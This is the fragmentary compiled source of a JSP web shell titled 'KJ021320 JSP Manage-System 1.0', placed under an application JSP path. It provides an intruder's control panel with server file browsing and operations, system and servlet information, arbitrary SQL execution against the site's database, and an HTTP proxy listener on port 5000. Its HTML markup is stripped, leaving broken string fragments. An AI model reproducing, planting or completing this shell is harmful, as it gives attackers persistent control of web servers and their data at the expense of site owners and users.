package org.apache.jsp.funcspecs; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; import java.util.*; import java.io.*; import java.sql.*; import java.util.zip.*; import java.lang.reflect.*; import java.net.*; import javax.servlet.jsp.*; public final class _4_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { final String APP_NAME="KJ021320 JSP Manage-System 1.0"; int portListen=5000;//set the httpproxy port boolean openHttpProxy=false;//set the httpproxy load-on-start-up //the main framwork void mainForm(String web_Site,JspWriter out)throws Exception{ out.print("
");
out.print(" | |
"); out.print(" | "); out.print(""); out.print(""); out.print(" |
"+ico(58)+"FileOperation(File.class) |
"+ico(48)+"WEB Folder |
"+ico(53)+"SystemInfo(System.class) |
"+ico(53)+"ServletInfo |
"+ico(53)+"SystemTools |
"+ico(57)+"Interfaces |
About nonamed(kj021320) |
name | type | size | modify date | readonly | can write | hidden | Action | "+ico(48)+f[i].getName()+" | DIR | "+getSize(f[i].length())+" | "+new java.util.Date(f[i].lastModified())+" | "+f[i].canRead()+" | "+f[i].canWrite()+" | "+f[i].isHidden()+" | "+fOperation(true,f[i].getAbsolutePath())+" | "); else out.println("
"+ico(50)+f[i].getName()+" | file | "+getSize(f[i].length())+" | "+new java.util.Date(f[i].lastModified())+" | "+f[i].canRead()+" | "+f[i].canWrite()+" | "+f[i].isHidden()+" | "+fOperation(false,f[i].getAbsolutePath())+" |
DataBaseName: | "+dbmd.getDatabaseProductName()+" |
DataBaseVersion: | "+dbmd.getDatabaseProductVersion()+" |
the Numeric Function: | "+dbmd.getNumericFunctions()+" |
the String Function: | "+dbmd.getStringFunctions()+" |
the TimeDate Function: | "+dbmd.getTimeDateFunctions()+" |
the System Function: | "+dbmd.getSystemFunctions()+" |
COLUMN_NAME | DATA_TYPE | TYPE_NAME | COLUMN_SIZE | IS_NULLABLE | CHAR_OCTET_LENGTH |
"+tableRs.getString(4)+" | "+tableRs.getInt(5)+" | "+tableRs.getString(6)+" | "+tableRs.getInt(7)+" | "+tableRs.getString(18)+" | "+tableRs.getInt(16)+" |
PROCEDURE_NAME | REMARKS | PROCEDURE_TYPE |
"+procRs.getString(3)+" | "+procRs.getString(7)+" | "+procRs.getShort(8)+" |
"+rsmd.getColumnName(i)+" | "); } out.print(""+rs.getString(i)+" | "); } out.print(""); } }else{ stmt.executeUpdate(sqlCmd); out.print("execute success"); } } //close all the resource public void closeAll()throws SQLException{ try{ if(rs!=null)rs.close(); }catch(Exception e){ } try{ if(stmt!=null)stmt.close(); }catch(Exception e){ } try{ if(con!=null)con.close(); }catch(Exception e){ } } } //the other tools void systemTools(JspWriter out)throws Exception{ out.print("
OpenTheHttpProxy |
CloseTheHttpProxy |